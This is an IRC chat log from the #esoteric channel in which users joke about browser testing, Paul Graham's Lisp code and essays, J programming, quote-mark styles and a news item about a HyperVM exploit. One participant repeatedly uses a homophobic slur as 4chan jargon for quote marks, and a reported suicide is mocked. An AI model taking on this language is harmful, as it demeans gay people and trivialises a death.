< 1244588495 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1244588496 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :an IE webapp, for instance, to test rendering in IE < 1244588503 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :whilst from a non-Windows computer < 1244588506 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :"Absolutely. Firefox should have been implemented as an activeX plugin. < 1244588506 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :No, wait. DHTML and javascript. And written to only run in IE6." < 1244588508 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :*BOOOOOOOOOM* < 1244588510 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: been done < 1244588513 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :for N browsers < 1244588516 0 :GregorR-L!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244588517 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :just takes a screenshot, though < 1244588523 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :browsershots? < 1244588525 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1244588526 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: also: java vnc on cluster of vms < 1244588527 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that doesn't count, it's server-side < 1244588531 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :could let you interact < 1244588536 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :clearly the solution is: JSMIPS! < 1244588546 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that's cheating, that's always the solution < 1244588558 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clearly the solution is: BFJS! < 1244588558 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :"global warming" "JSMIPS!" < 1244588572 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And then JSBF! < 1244588583 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(thereby abstracting away the JAvascript engine!) < 1244588584 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :jsbfjs < 1244588590 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Jusbufjus. < 1244588595 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Jubujus. < 1244588600 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Jubus. < 1244588602 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Jebus < 1244588603 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Jesus < 1244588606 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! < 1244588622 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So you have JSBFJSMIPSXUL < 1244588623 0 :ais523!unknown@unknown.invalid QUIT :Remote closed the connection < 1244588632 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :There is no data. < 1244588638 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :There is only XUL. < 1244588644 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :XULHU < 1244588645 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1244588844 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :http://www.archub.org/rewrite-login ← proof that paul graham cannot write good code < 1244588894 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I thought it had been pretty well estabilished that he only does essays and venture capitalism well. :P < 1244588913 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: sorry, nope < 1244588917 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :his essays are shit :) < 1244588920 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :most of 'em, anyawy < 1244588921 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :*anyway < 1244588932 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :and YC is just a "Give me money for I have no business model" setup :) < 1244588958 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :See, venture capitalism. < 1244588966 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :well, yeh < 1244588976 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :it's kind of like saying you're good at going to the toilet. < 1244588984 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And his essays aren't shit. They're interesting, thought-provoking, and usually horribly wrong. < 1244588995 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :requirements for doing vc well: (a) have a bunch of money. (b) have an urge to waste it all < 1244589000 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: :-D < 1244589004 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A shitty essay fails to be interesting and thought-provoking. ;) < 1244589010 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: but dude... he MADE VIAWEB. < 1244589015 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :How can he be WRONG? Yahoo BOUGHT IT. < 1244589016 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :For MONEY. < 1244589024 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :IT HAD LISP. < 1244589028 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :AND WEB AND CAPITALISM 2.0 < 1244589042 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :It worked because lisp introspected the lispness and the parentheses printed money. < 1244589046 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Dur. < 1244589067 0 :KingOfKarlsruhe!unknown@unknown.invalid QUIT :Remote closed the connection < 1244589116 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right. < 1244589129 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at his Lisp
< 1244589136 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: You don't appear to have one. < 1244589141 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :...dammit, that has no th'th. < 1244589146 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Yeth, "th'th". < 1244589151 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :*hath < 1244589155 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Lithp = Ye olde. < 1244589167 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... That is some horrible, horrible Lisp. < 1244589185 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(cadr (conth 1 (conth 2 nil))) < 1244589197 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :("Eval. Apply! Car. Cudder.") < 1244589197 0 :FireFly!unknown@unknown.invalid QUIT :"Later" < 1244589215 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells ETC) < 1244589256 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :MY GOD MAN, COMMENT IT! < 1244589270 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(rewrite-login is hurl) < 1244589285 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Oh "his" = pg < 1244589288 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :I totally forgot about that haha < 1244589330 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(AAAAAAAAAAAAAOOOOOOOOOOOOOAOAOAOAAAAAAAAAAAAAAAA) < 1244589369 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yuh. < 1244589370 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Ah, The Sussman. Bach is delighted to collaborate with you; his only sadness is that it had to be post-humous. < 1244589388 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: My God, you'd think Paul Graham had never heard of metaprogramming. < 1244589394 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: LAWL < 1244589415 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric : pikhq: CAN YOU GIVE AN EXAMPLE OF HOW METAPROGRAMMING CAN MAKE PROGRAMS SHORTERUI!"!?!?!!:{!{329874956 < 1244589423 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(literally the only thing he says to opponents) < 1244589452 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It looks a lot like my original code for PEBBLE. < 1244589454 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(For those who have not achieved Satori, http://dqn.dqn.lol.googlepages.com/GJS_Jay_Sussman_Feat._JSB_Sebastian_.mp3) < 1244589458 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Needless to say, I threw that shit away. < 1244589462 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(Having a monologue and a conversation at once is difficult) < 1244589476 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: i like how his refactoring is _harder_ to understand < 1244589479 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :BUT SHORTER!!!!!!1111 < 1244589487 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :arc will never beat j for short :-) < 1244589490 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It grew longer after the rewrite, but that's because I added a lot to it at the time. < 1244589522 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :metaprogramming am good < 1244589523 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: one must listen to the extended ``satori'' mix too < 1244589533 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :eexxtteennddeedd < 1244589546 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Asztal: But lo, is there not such a thing as ``[spoiler]Too Much of a Good Thing[/spoiler]''? < 1244589557 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :s/$/[1]/ < 1244589558 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :References < 1244589565 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :---------- < 1244589568 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :[1] No. < 1244589578 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :¹ < 1244589596 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Asztal: Next you'll be telling me to use “ and ” instead of ``faggot quotes''. < 1244589614 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :No, I'm a fan of ``proper quotes''. < 1244589637 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Asztal: ``Faggot quotes'', `proper quotes'. < 1244589644 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Source: http://dis.4chan.org/read/prog/1196688306/6 < 1244589668 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :I also enjoy abusing ‘ as an apostrophe, but nobody‘s annoyed about that one, as far as I can see. < 1244589808 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION writes some ``J Software'' code.
< 1244589825 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :I note that the non-/prog/dolytes in the audience are probably terribly confused. < 1244589948 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :I think you mean /prog/lodytes < 1244590004 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't even use 4chan
< 1244590012 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :coppro: *world4ch < 1244590017 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :whatever < 1244590077 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Programming in ``J Software'' sure would be more productive if I didn't have to bring up the reference every time I want an operation. < 1244590246 0 :pikhq_!n=pikhq@75-106-100-121.cust.wildblue.net JOIN :#esoteric < 1244590326 0 :pikhq!unknown@unknown.invalid QUIT :Nick collision from services. < 1244590516 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION attempts to find J's "nest until meets condition" function
< 1244590587 0 :pikhq_!unknown@unknown.invalid NICK :pikhq < 1244590855 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :to find the nest, you also have to find the easter egg < 1244591130 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :"HyperVM boss hangs himself after exploit destroys 100,000 websites" < 1244591131 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :" < 1244591135 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :s/^"$// < 1244591152 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :"A zero-day hacker today has the death of one man and one hundred thousand websites on his or her conscience. " < 1244591154 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :DUN DUN DUN < 1244591156 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :UNFOUNDED ASSERTIONS < 1244591158 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :DON'T YOU FEEL BAD < 1244591191 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the (reddit) comments imply it was rather dubious that was the real cause < 1244591283 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well the hundred thousand websites part may be correct < 1244591684 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Wowzers :P < 1244591898 0 :inurinternet!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out)